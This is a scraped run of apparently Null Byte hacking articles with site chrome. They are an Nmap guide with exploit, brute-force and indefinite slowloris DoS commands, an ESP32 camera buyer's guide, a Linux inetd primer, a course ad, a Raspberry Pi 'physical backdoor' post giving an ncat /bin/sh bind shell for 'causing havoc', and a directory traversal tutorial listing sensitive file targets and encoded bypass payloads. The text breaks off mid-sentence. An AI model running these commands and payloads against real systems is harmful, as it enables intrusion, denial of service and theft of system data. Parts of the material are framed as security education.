vulnerabilities on a target. Invoking the following command will run all of the scripts against your target.nmap -Pn --script vuln <target.com or ip> <enter>*I always throw a -Pn in there just in case the target blocks ping probes, although it's optional.Step 3: Review ResultsAfter your scan completes, review NMAPs output to determine what vulnerabilities were found. It will list it's findings along with applicable CVEs and links to any exploits that exist in Offensive Security's Exploit Database.Use NMAP to Actively Exploit Detected VulnerabilitiesAs mentioned, you can also use NMAP's exploit script category to have NMAP actively exploit detected vulnerabilities by issuing the following command:nmap --script exploit -Pn <target.com or ip> <enter>Use NMAP to Brute Force PasswordsNmap contains scripts for brute forcing dozens of protocols, including http-brute, oracle-brute, snmp-brute, etc. Use the following command to perform brute force attacks to guess authentication credentials of a remote server.nmap --script brute -Pn <target.com or ip> <enter>Use NMAP to Test if Target Is Vulnerable to DosUse the following command to check whether the target is vulnerable to DoS:nmap --script dos -Pn <target.com or ip> <enter>This will tell you whether the target is vulnerable without actually launching a dos attack.Use NMAP to Perform DOS AttackUse the following command to perform an active DoS attack against a target for an indefinite period of time:nmap --max-parallelism 750 -Pn --script http-slowloris --script-args http-slowloris.runforever=trueThese are just a few very cool features NMAP has to offer. NMAP is very noob friendly so get yourself a copy.On a side note, this week I was tasked with identifying vulnerabilities in a company's server as apart of the interview process Thanks to NMAP, I was able to identify, and then successfully verify, their server had the POODLE issue. This was something (shockingly) the company was not aware of. Nessus, Openvas, Acunetix, and BurpSuite did not identify the vulnerability and it did prove legit.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHow To:Automate Brute-Force Attacks for Nmap ScansHow To:Tactical Nmap for Beginner Network ReconnaissanceHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow To:Attack a Vulnerable Practice Computer: A Guide from Scan to ShellHow To:Brute-Force SSH, FTP, VNC & More with BruteDumHow To:Easily Detect CVEs with Nmap ScriptsHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow To:The Five Phases of HackingNews:Banks Around the World Hit with Repeated DDoS Attacks!How To:Perform Network-Based Attacks with an SBC ImplantHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHow To:Discover Computers Vulnerable to EternalBlue & EternalRomance Zero-DaysHow to Hack Databases:Hunting for Microsoft's SQL ServerHow To:Discover & Attack Services on Web Apps or Networks with SpartaAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Hack Apache Tomcat via Malicious WAR File UploadHow To:Use Metasploit's Database to Stay Organized & Store Information While HackingHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)How To:Identify Web Application Firewalls with Wafw00f & NmapNews:Life Becomes More Difficult for Driverless HackersHack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesWeekend Homework:How to Become a Null Byte ContributorForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:Bugzilla Cross Site Request ForgeryHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)How To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsNews:The Myths of Limited War |
Null Byte's Hacker Guide to Buying an ESP32 Camera Module That's Right for Your Project « Null Byte :: WonderHowTo | An ESP32-based microcontroller with a camera is an amazing platform for video, but not all modules are created equal. We'll go over the pros and cons of some of the popular low-cost camera modules you can use with ESP32-based development boards, as well as what features they support.TheESP32-based microcontrolleris the big brother to theESP8266-based board, whichwe've covered extensively on Null Byte. The ESP32 is more powerful, comes with Bluetooth, and has an additional core for processing. That means it's capable of a lot more interesting things that the ESP8266 simply can't do.The camera modules we're covering today are all super cheap, ranging from about five dollars all the way up to $25. And it might surprise you that the cheapest camera modules may have cooler capabilities such as facial recognition.Don't Miss:Program an ESP32 Microcontroller Over Wi-Fi with MicroPythonWe'll break down the most common camera modules you'll find for sale, explain the benefits you get for spending a little bit of extra money, and show you exactly what you can and can't do with each because each one has its own individual connector. Some of them require an additional purchase to program them effectively.You don't really need anything to follow along, but if you're interested in buying one of these boards, there are links below to point you in the right direction.Don't Miss:How to Set Up a Wi-Fi Spy Camera with an ESP32-CAMOption 1: ESP32-CAMThe ESP32-CAM is the classic module people think of when they think of an ESP32 camera module. This camera is pretty affordable but does come with a downside: to connect to it, you need to pick up anFTDI programmer. While that's a little annoying, you can see thatthe cost on Amazon is $12.99for the whole set, and if you want to go even cheaper, you can find this camera on AliExpress for aboutfive bucks(though, it'll probably take a long time to arrive).Buy on Amazon:KeeYees Camera WiFi + Bluetooth Module, 4MB PSRAM, Dual-Core, 32-Bit CPU Development Board with OV2640 2MP Camera Module + FT232RL FTDI USB-to-TTL Serial Converter + 40 pin Jumper WireIt's also really cool because the board — while it doesn't come with a USB interface, which makes it a little bit more annoying to work with than some of the other boards — has a lot of advanced functionality because of its PSRAM. The PSRAM gives it the ability to buffer and stream video in higher quality, and it lets you try out facial detection and recognition.This board is a great choice to combine witha low-cost LiPo shield, which gives you the ability to power the entire camera over a battery or through a Micro-USB interface. That's really cool if you want to simply just throw a battery-powered Wi-Fi camera together and have it in a hidden place with no wires. It's simple to set up, supported on Arduino IDE, and very easy to use. (Click here to learn how to set one up and use the video streaming functions.)Pros:super cheap, facial recognition, facial detection, high-definition video, good support in Arduino IDECons:cannot interface with via USB, requires FTDI programmer to programOption 2: USB Type-C ESP32 Camera ModuleThis ESP32 camera module has a USB Type-C interface, and it's based on a design byM5Stack, a reputable vendor with a lot of exciting and unique designs. This is its lowest-cost model because a lot of people are making it.You can find this for a really low price of$14.99 on Amazon, though, we've seen it for as low as $12.99. If you look for it on AliExpress, you can find it from$8 to $12, though, shipping will take a lot longer than Amazon.Despite this board being a little bit more basic, it's still straightforward to set up, and you can add it to your home assistant if you want to go ahead and use this as a quick-to-set-up security camera.Buy on Amazon:ESP32 Camera Module, OV2640 2 Megapixels Camera, with Type C Port, 3D WiFi AntennaMany things are missing from this board that are available on the flagship model (covered below) or even the ESP32-CAM module. It doesn't have the PSRAM that the ESP32-CAM has, but it's much more convenient to connect this to a USB-C cable and start programming it. However, it isn't capable of running facial recognition, and it isn't capable of actually doing high-resolution video.So if you need to use the whole resolution that it's capable of, you might be disappointed to learn that there's a bottleneck with the RAM that makes streaming video less impressive than the ESP32-CAM or more expensive model below.Pros:easy to interface with, works well with existing Arduino sketches, very cheapCons:no PSRAM, cannot do facial recognition or detection, cannot do high definition video, might need a heat sink since it gets quite hotOption 3: ESP-EYEThe ESP-EYE is the official flagship board of Espressif that's looking to cash in on people who are interested in developing facial recognition or other sorts of neural network-based microcontroller applications. What that means is that this board has a lot of built-in features that the other boards above lack.It has an easy-to-use Micro-USB interface, so you can plug it in and get started immediately. It has a microphone, which is awesome for recognizing voice commands, and you can even wake up the board and start networking by saying a command to it.Buy on Amazon:ESP-Eye Development Camera Board from Espressif SystemsThis is a little bit less programmable in Arduino IDE because the vendor really wants you to download and learn its toolkit. So you might be a little bit disappointed to find that ESP-EYE is a lot less hackable than some of our other options. However, it does have better hardware than the other two modules.If you're looking to get into neural networks or need a lot of beefy processing power, this board might not be as simple to use but has many more features baked in. Plus, it's basically maxed out all the various things you can populate.The price is higher on Amazon than the modules above,currently going for $19.90, and we've seen it foras much as $37. If you look on AliExpress, it's going foralmost $32right now with slower shipping. Between $20 and $37 is what you can expect to find this module online, in general.Now, if you want to learn more about the ESP-EYE, you can check outEspressif's website, which goes into all the details about the hardware, what it's capable of, and all the various things you can develop on it. But what's intriguing about it is that it has automated ways of detecting things like faces — maybe even things like license plates if you really wanted to develop unique applications for these sorts of boards. You can also find documentation and example sketches on GitHub.If you want to check out this more expensive board, it is much more of an investment than the other ESP32 cameras covered above. Still, it also has a lot of potential in terms of vendor support and the ability to start doing things like using neural networks for facial recognition.Pros:microphone, neural network support, voice activation, face detection, facial recognition, includes PSRAM for high definition.Cons:much more expensive, less support for Arduino, less available documentation onlineWhich One Is the Best?As you can see, these models all look similar but are all uniquely equipped for a project you might be working on. Make sure to pay attention and get the one with the right connector and the right amount of PSRAM for your project. Because if you're relying on one of these to support facial recognition, and you get a more expensive board with a more accessible connector but no PSRAM, you're not going to be able to get high-definition video, and you won't be able to try out facial recognition.Don't Miss:Enable Offline Chat Communications Over Wi-Fi with an ESP32Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Retia/Null ByteRelatedHow To:Enable Offline Chat Communications Over Wi-Fi with an ESP32News:Hello to the Null Byte Community!News:Announcing the Null Byte Suite!Farewell Byte:Goodbye Alex, Welcome AllenHow To:Things to Do on WonderHowTo (11/30 - 12/06)How To:Things to Do on WonderHowTo (12/28 - 01/03)Community Roundup:Fix an Xbox with Pennies, Carve Polyhedral Pumpkins & MoreHow To:Things to Do on WonderHowTo (11/9 - 11/15)How To:Things to Do on WonderHowTo (01/18 - 01/24)How To:Things to Do on WonderHowTo (12/07 - 12/13)How Null Byte Injections Work:A History of Our NamesakeHow To:Things to Do on WonderHowTo (02/15 - 02/21)How To:Things to Do on WonderHowTo (01/11 - 01/17)How To:Things to Do on WonderHowTo (02/08 - 02/14)Community Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingWeekend Homework:How to Become a Null Byte Contributor (2/24/2012)Community Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingA Null Byte Call to Arms:Join the Fight Against IgnoranceHow To:Things to Do on WonderHowTo (02/22 - 02/28)Weekend Homework:How to Become a Null Byte Contributor (2/10/2012)Community Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker TrainingHow To:Things to Do on WonderHowTo (01/04 - 01/10)How To:Defend from Keyloggers in Firefox with Keystroke EncryptionHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorHow To:Things to Do on WonderHowTo (02/01 - 02/07)Community Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHow To:Things to Do on WonderHowTo (11/23 - 11/29)Community Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow to Hack Your Game Saves:A Basic Guide to Hex EditingHow To:Things to Do on WonderHowTo (03/21 - 03/27)Goodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingNews:Learning Python 3.x as I go (Last Updated 6/72012)How To:Things to Do on WonderHowTo (04/25 - 05/01)Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)Goodnight Byte:HackThisSite, Realistic 3 - Real Hacking Simulations |
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon) « Null Byte :: WonderHowTo | Welcome back, my rookie hackers!Inmy ongoing attemptsto familiarize aspiring hackers with Linux (nearlyallhacking is done with Linux, andhere's why every hacker should know and use it), I want to address a rather obscure, but powerful process. There is onesuperprocess that is calledinetdorxinetdorrlinetd. I know, I know... that's confusing, but bear with me.Before I discuss the inetd process, I want to explain that in Linux and Unix, processes that run in the background are called daemons. In some places, you we will even see them referred to as "demons," but that is incorrect. A daemon is a spirit that influences one's character or personality. They are not representatives of good or evil, but rather encourage independent thought and will. This is in contrast to a "demon," which we know is something quite different.Image via UnknownNow, back to inetd. In the beginning—well, at least in the beginning of Unix—all daemons started at boot time and ran continuously. As you might imagine, this meant that processes that were not being used were using resources and depleting performance. This obviously was an inefficient way of doing business.As systems gained more and more services, it became readily apparent that something different needed to be done. As a result, a programmer at Berkeley decided that it might be best to create a daemon that would control all other daemons, a sort of super daemon. Thus, began inetd, or the Internet daemon.Inetd always runs in the background and it then decides when to start and stop other daemons. So, if a call comes in on port 21 for FTP services, inetd starts the FTP daemon. When a call comes in on port 80 for HTTP services, inetd starts HTTP services, and so on. In this way, inetd conserves resources and improves overall system performance.Eventually, this super daemon was exploited by hackers (imagine that) in a number of ways. If you think about it, if I can exploit the super daemon that controlsallof the other daemons, I can control the entire system. At the very least, if I can control the super daemon, I can probably DoS the system. This is exactly whatdidhappen and, as a result, we got a new and improved super daemon called xinetd.Xinetd was developed to address some of the security vulnerabilities in inetd and was rather rapidly adopted by the commercial Linux distributions,Red HatandSUSE.DebianandUbuntu, which are the underlying Linux distributions ofKaliandBackTrack, respectively, stayed with the older inetd, initially. But now Debian has transitioned to a newer version of inetd, labelled rlinetd.Find RlinetdWe can find rlinetd in our Kali system by typing the following.kali > locate rlinetdWe can see at the top of the list, the configuration file for rlinetd and the daemon file itself.Rlinetd ManualAs I mentioned in earlier articles, whenever we want to know something about a particular command in Linux, we can, of course, Google it. Alternatively, we can also use theman, or manual, file. We simply type "man" before the command and the system will pull up the manual file for that command. Let's check out the manual for rlinetd.kali > man rlinetdTake a Look at rlinetd.confFinally, let's take a look at the configuration file for rlinetd. Let's open it with Leafpad or any text editor.kali > leadpad rlinetdWe can make our Linux system more secure by setting some default values in the rlinetd.conf file. For instance, if the system were only used for FTP services, it not only would be inefficient to run any other service, but also less secure. For example, if an attacker were trying to exploit HTTP and HTTP was disabled in the rlinetd.conf, they would not have much luck.We could also change the rlinetd.conf to only start FTP services as needed and nothing else. If you only want this system accessible to a list of IP addresses or just your internal network, you could configure that access in the rlinetd.conf.As a beginner with Linux, I recommendnotmaking any changes to the rlinetd as you are more likely to sabotage and disable your system than making it more secure or efficient, but now you understand what inetd is. With more system admin experience, you can manage this super daemon to make your system safer and more efficient.Don't Confuse Inetd with Init.dLinux novices often confuse init.d and inetd. Init.d is an initialization daemon that runs when the system starts up. It determines the runlevel and the daemons that activate at start up. When a computer is turned on, the kernel starts the systems init.d, which always has a Process ID (PID) of 1.The init process starts a series of scripts that get the system ready for use. These are things such as checking the filesystem and then mounting it and starting any system daemons that are required. These scripts are often referred as rc files because they all begin with the rc.(run command). I'll explain more on init.d in a subsequent tutorial, but I wanted to make certain that this distinction was clear.Keep coming back, my rookie hackers, as weexplore further the inner workings of Linuxand prepare you to be professional hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)How To:Linux Basics for the Aspiring Hacker: Using Start-Up ScriptsHow To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 23 (Logging)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 8 (Managing Processes)How To:Linux Basics for the Aspiring Hacker: Managing Hard DrivesHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 18 (Scheduling Jobs)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)News:Performance Hacks & Tweaks for LinuxGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Run an FTP Server from Home with LinuxGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingNews:Complete Arch Linux Installation, Part 2: Graphical User Interface & PackagesHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingNews:Let Me Introduce MyselfCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Run Windows from Inside LinuxHow To:Safely Log In to Your SSH Account Without a Password |
Explore Data Analysis & Deep Learning with This $40 Training Bundle « Null Byte :: WonderHowTo | Data makes the world go round. It has gotten to the point that it's considered the most valuable resource, perhaps even more important than oil. Businesses use data to collect critical information about their users and improve their services; governments utilize it to improve things like public transportation; doctors analyze data to find more ways to save lives.If you're fascinated by the many ways data is used in various industries and are interested in making a career of it, theDeep Learning & Data Analysis Certification Bundleis here to help. It offers premium content covering data analysis, visualization, statistics, deep learning, and more. Comprised of eight information-rich courses and over 30 hours of lectures, you'll be exposed to the facets and nuances of Big Data.The training starts with a primer on data visualization and analysis using Google Data Studio, in which you'll get experience with creating dynamic, collaborative reports and visualization dashboards. You'll then explore R, a programming language used for statistical computing and graphics, and learn how it's used in deep learning and machine learning, sans the confusing jargon.The subsequent courses focus on statistical modeling, artificial neural networks (ANN), and image processing and analysis, all of which are crucial in forging a career in data science. Not only will you be familiarized with the concepts, but you'll also learn how to apply frameworks to real-life data.Each lesson in this bundle has been put together by Minerva Singh, a Ph.D. graduate from Cambridge who works as a data scientist and specializes in spatial data analysis. You can rest assured that you'll be in good hands.Data science is an increasingly ballooning industry, and this bundle will equip you with the knowledge and skills to break onto the scene. For a limited time, you can get iton sale for only $39.99.Prices are subject to change.Get the Deal:The Deep Learning & Data Analysis Certification Bundle for $39.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byPaul Calescu/UnsplashRelatedHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayHow To:Learn How to Speculate & Make Money as a Day Trader While You're Stuck at HomeHow To:Learn How to Play the Market with This Data-Driven Trading BundleHow To:Become an In-Demand Data Scientist with 140+ Hours of TrainingHow To:You Can Learn the Data Science Essentials at Home in Just 14 HoursHow To:Become a Big Data Expert with This 10-Course BundleHow To:Supercharge Your Excel Skills with This Expert-Led BundleHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:This Extensive Python Training Is Under $40 TodayHow To:It's Time to Finally Learn Microsoft Excel & Power BI — This Training Deal Is Too Good to Pass UpHow To:Expand Your Analytical & Payload-Building Skill Set with This In-Depth Excel TrainingHow To:These Excel Courses Can Turn You into an In-Demand Data WizHow To:Learn About Data Analysis with Excel & Power BI for Only $25How To:Learn to Draw Like a Pro for Under $40How To:Here's the Ultimate Guide to Becoming a Data NinjaHow To:Hack Your Business Skills with These Excel CoursesHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Learn the Essentials of Accounting to Boost Profit Margins in Your Small BusinessHow To:Harness the Power of Big Data with This 10-Course BundleDeal Alert:Learn the Stock Market Inside & Out for Under 30 BucksHow To:Become a Productive Microsoft Apps Power User with 97% Off This Course BundleDeal Alert:Get 68 Hours of Lessons on Hadoop, Elasticsearch, Python & More for Under $40How To:Start Managing Your Money & Investments Like a Pro with This Affordable Course BundleHow To:Become a Data Wizard with This Microsoft Excel & Power BI TrainingDeal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Master Linux, Python & Math with This $40 BundleHow To:Harness the Power of Big Data with This eBook & Video Course BundleHow To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalHow To:Get Project Manager Certifications with Help from Scrum, Agile & PMPHow To:Become an In-Demand IT Pro with This Cisco TrainingNews:Now's the Perfect Time to Brush Up on Your Excel SkillsHow To:Learn Java, C#, Python, Redux & More with This $40 BundleHow To:Become a Data-Driven Leader with This Certification BundleHow To:This Extensive IT Training Bundle Is on Sale for Just $40How To:This $1,300 Ethical Hacking Bundle Is on Sale for $40 TodayNews:You Can Master Adobe's Hottest Tools from Home for Only $34How To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35News:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersNews:Indie Game Music Bundle (Including Minecraft) |
Raspberry Pi: Physical Backdoor Part 1 « Null Byte :: WonderHowTo | This tutorial is one technique to use the full functionality of your Pi. The small size makes it ideal for inside hacks, but still has the capabilities of a average desktop or computer. I should mention that atutorialthat OTW has done, but I'm gonna take it a step further. OTW made a brilliant article, but only touched on the surface of the possibilities. I hope this article will both show you many the possibilities and also allow you to start causing havoc, but I'm planning on making this a mini series within my Raspberry Pi series. So as OTW always says, lets boot up our Kali (Pi in this contact).Evil Genius LabI can not emphasize enough how important it is to be prepared for whatever comes your way, thus your arsenal should consist of:Kali LinuxBasic KnowledgeCreativityThere's a whole lot more that could be added to this list but these are the ones that I believe are some of the most crucial.NcatI know that OTW already has done a tutorial about connecting via ncat, but as OTW said:'Of course, there are other methods to connecting back to the Raspberry Pi. He could use SSH, and if he wanted a GUI, install the VNC Server and connect back to it with full GUI control over Kali. The problem with both of those methods is that they are more likely to be detected by Evil Corporation's perimeter network defenses.'Thus, ncat is one of the more effective methods to connect to your Pi. But in order to connect you first need to make sure you havencatinstalled on both your Pi and also the other computer that we'll be using to connect to your Pi remotely. I'm assuming you have it installed on both systems so now is the time to connect to your Pi, Type:nc -l -p(port) -e /bin/shIf successful you should be able to now connect to your Pi from your Kali Linux System... or whatever system you want to use, the point is you would only simple type:nc (Ip) (port)If you are successful, congratulations you can now cause havoc. Some of the tools that you can use are:aircrack-ngMetasploitHydraPretty much any tool that can run on Kali Linux, but the key is understanding what you want to accomplish and creativity.ConclusionNow that we have access to our Pi, lets start to actually start causing havoc. I'm not gonna go into detail on various tools, but the options are litterly limitless. In the near future I am hoping to post several tutorials on hacking with Pi using various tools, but please I should note that I am currently working on several projects at the moment so please be patient with the posting of these tutorials. With that being said please give me some lovins and I would love it if y 'all would please give me suggestions on what I should create tutorials on. Please and Thanks.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Build a Portable Pen-Testing Pi BoxHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+Raspberry Pi:Hacking PlatformHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootRaspberry Pi:Physical Backdoor Part 2How To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Share Wi-Fi Adapters Across a Network with Airserv-NgRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHow To:Your Guide to Lazy Baking, Part 1: How to Make Mini-Pies in Muffin Tins |
How to Perform Directory Traversal & Extract Sensitive Information « Null Byte :: WonderHowTo | With all the web applications out on the internet today, and especially the ones built and configured by novices, it's easy to find vulnerabilities. Some are more perilous than others, but the consequences of even the slightest breach can be tremendous in the hands of a skilled hacker. Directory traversal is a relatively simple attack but can be used to expose sensitive information on a server.Modernweb applicationsandweb serversusually contain quite a bit of information in addition to the standard HTML and CSS, including scripts, images, templates, and configuration files. A web server typically restricts the user from accessing anything higher than the root directory, or web document root, on the server's file system through the use of authentication methods such as access control lists.Don't Miss:Null Byte's Guides on Performing SQL InjectionDirectory traversal attacks arise when there are misconfigurations that allow access to directories above the root, permitting an attacker to view or modify system files. This type of attack is also known as path traversal, directory climbing, backtracking, or the dot-dot-slash (../) attack because of the characters used.Climbing the DirectoryDirectory traversal vulnerabilities can be found by testingHTTP requests, forms, and cookies, but the easiest way to see if an application is vulnerable to this type of attack is by simply determining if a URL uses a GET query. A GET request contains the parameters directly in the URL and would look something like this:http://examplesite.com/?file=index.phpIt takes a bit of guesswork, but sometimes sensitive information can be exposed by climbing up the directory. The commandcdis used tochange directories, and when used with two dots (cd ..), it changes to the parent directory or one directory above the current directory.By appending../directly to the file path in the URL, we can attempt to change into higher directories in an effort to view system files and information not meant to be internet-facing. We can start out by trying to go up a few levels to access /etc/passwd, but we can see this throws some errors:After climbing a few more levels, we finally hit paydirt and the contents of /etc/passwd are displayed to us right in the browser:The /etc/passwd file contains information about users on the system, such as usernames, identifiers, home directories, and password information (although this is typically set toxor *, as the actual password information is usually stored elsewhere).Other files of interest include the /etc/group file, which contains information about the groups to which users belong:The /etc/profile file, which defines umask and default variables for users:The /etc/issue file, which contains system information or a message to be displayed at login:The /proc/version file, which lists the Linux kernel version in use:The /proc/cpuinfo file, which contains CPU and processor information:And the /proc/self/environ file, which contains information about current threads and certain environmental variables:Directory traversal on other operating systems works in a similar manner, but there are slight differences involved. For instance,Windowsuses the backslash character as a directory separator and the root directory is a drive letter (often C:\). Some notable files to look for on Windows are:C:\Windows\repair\systemC:\Windows\repair\SAMC:\Windows\win.iniC:\boot.iniC:\Windows\system32\config\AppEvent.EvtOf course, there are a lot more files that could yield interesting things, so if system-level access is attained, it would be wise to spend some time digging around for sensitive information.Encoding & Bypassing File RestrictionsIn certain situations, such as when a web application is filtering special characters, encoding is used to circumvent input validation in order for an attack to be successful. We've seen this used in other attacks such asSQL injection, but the same sort of techniques can be applied here to directory traversal as well.The two primary methods of encoding that are normally used are URL encoding and Unicode encoding. On Unix systems that typically utilize forward slashes, URL encoding for the character sequence../would look like one of these:%2e%2e%2f
%2e%2e/
..%2fUnicode encoding for the same character sequence:..%c0%afOn Windows systems that typically use backslashes, URL encoding for..\would look like:%2e%2e%5c
%2e%2e\
..%5cUnicode encoding for the same sequence:..%c1%9cOftentimes an application will only allow a certain file type to be viewed, whether it's a page that explicitly ends in.phpor a PDF document. We can get around this by appending a null byte to the request in order to terminate the filename and bypass this restriction, like so:http://examplesite.com/?file=topsecret.pdf%00Preventing Directory TraversalWhile directory traversal has the potential to be a devastating attack for an administrator, it is fortunately relatively easy to protect against. The most important thing to do is use appropriate access control lists and ensure the proper file privileges are set in place. Also, unless it is absolutely necessary, avoid storing any sensitive information or configuration files inside the web document root. If there is nothing of importance on the server to begin with, the repercussions of an attack are greatly reduced.Like most other web-facing configurations, another important step to take is to ensure proper input validation is being used. In fact, if it can be avoided, it's better to omit user input completely when dealing with file system operations. Whitelisting known good input can also be utilized as an additional measure in order to minimize the risk of an attacker exploiting any misconfigurations.Another thing that can be 